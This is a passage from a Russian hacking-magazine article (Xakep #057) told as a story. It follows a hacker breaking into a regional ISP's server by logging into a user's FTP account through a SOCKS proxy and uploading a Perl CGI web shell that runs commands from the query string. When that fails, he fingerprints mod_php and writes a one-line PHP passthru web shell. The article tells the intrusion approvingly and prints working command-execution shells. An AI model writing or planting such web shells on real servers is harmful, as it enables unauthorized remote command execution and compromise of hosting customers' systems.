Ломка крупного провайдера
Master-lame-master
Xakep, номер #057, стр. 057-060-2
Для своего грязного дела взломщик решил использовать Total Commander (www.ghisler.com), так как в нем он мог соединиться с ftp через Socks-сервер. Список адресов с соксами он всегда хранил при себе. Настроить Ftp over Socks очень просто: после создания нового соединения достаточно отметить галочку "Use Firewall", в настройках проставить тип Socks4/5 и ввести login и password для аутентификации. Все! Как говорится - безопасность превыше всего.
У Леонида в домашней директории практически не было никаких web-документов. Хакер надеялся увидеть там папку cgi-bin, но не обнаружил и ее. В каталоге присутствовали парочка mp3-файлов и тестовый index.html, что говорило о наличии web-доступа. Это очень обрадовало нашего героя. Недолго думая, он быстренько наваял cgi-скрипт следующего содержания:
#!/usr/bin/perl
$cmd=$ENV{QUERY_STRING};
$cmd=~s/%20/ /;
print "Content-type: text/html\n\n<pre>";
print `$cmd`;
print "<\/pre>";
Смысл его довольно простой. Вторая и третья строки выделяют команду и заменяют Unicode-символы, порождаемые браузером, на пробелы. Затем вывод заголовка и результат работы команды в удобочитаемом виде (в <pre>-тегах).
Чтобы скрипт выполнился, хакер создал директорию cgi-bin с правами 755 и закачал туда файл cmd.cgi с этими же правами (выставить атрибуты через ftp можно командой SITE chmod 755 file). Теперь, надеясь на удачу, он набрал в браузере адрес www.yoburg.ru/~leonid/cgi-bin/cmd.cgi?id и... его ждал облом. Вместо результата выполнения скрипта хакер получил его исходный код. Это означало, что в httpd.conf не было привязки расширения к интерпретатору Perl. Переименовывание cmd.cgi в cmd.pl тоже не дало никаких результатов. В общем, с перлом оказался тухляк.
Выход есть - PHP!
Зателнетившись на 80 порт удаленной машины, хакер отдал команду HEAD / HTTP/1.0. В ответ он получил несколько строк заголовка, одна из которых говорила, что на сервере установлен mod_php. Модуль был довольно новым - версия 4.3.0. Для нее не существовало никаких эксплоитов, но наличие PHP на сервере заставило взломщика задуматься. Задуматься об альтернативе неработающего cmd.cgi ;). В итоге был написан простенький PHP-скрипт, содержащий в себе всего одну строку:
<?passthru($cmd);?>
Теперь взломщик был уверен, что команды будут выполняться успешно. Но при переходе на соответствующую ссылку его опять поджидал облом. Команда не выполнилась. Хакер подумал, что leonid не имеет права даже на выполнение PHP-скрипта, но решил еще раз в этом убедиться. Строка в скрипте была немного исправлена, теперь она выглядела так:
<?phpinfo();?>,
Она должна показать всю информацию о PHP-модуле. Как ни странно, информация отобразилась в полном объеме. Только после этого хакер понял, почему его команды не выполнялись. Дело в том, что опция register_globals была в режиме off, что означало отключение приема переменных из QUERY_STRING. Кстати, эта фича была сделана по умолчанию разработчиками модуля, видимо админ сервера не переключил ее в положение on.